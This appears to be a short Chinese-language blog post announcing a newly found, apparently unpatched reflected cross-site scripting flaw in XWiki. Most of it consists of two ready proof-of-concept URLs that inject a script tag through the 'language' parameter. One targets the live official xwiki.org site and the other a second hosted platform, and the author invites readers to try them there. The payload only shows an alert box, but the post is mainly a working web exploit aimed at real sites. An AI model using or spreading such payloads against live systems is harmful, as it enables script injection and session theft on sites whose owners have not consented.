这回哥就啥也不说了。。第一次发现xwiki官方尚未处理的漏洞，直接去官方校验效果把:)

http://www.xwiki.org/xwiki/bin/view/XWiki/SilviaRusu?language=t5x%27t5x"><script>alert("abc")</script>

 

当然也可以来拍拍的API平台测试：）http:///

 

http:///bin/view/XWiki/weisong?language=t5x%27t5x"><script>alert("abc")</script>


  • xwiki,新xss漏洞爆发_bc

  • 大小: 39.2 KB
  • 查看图片附件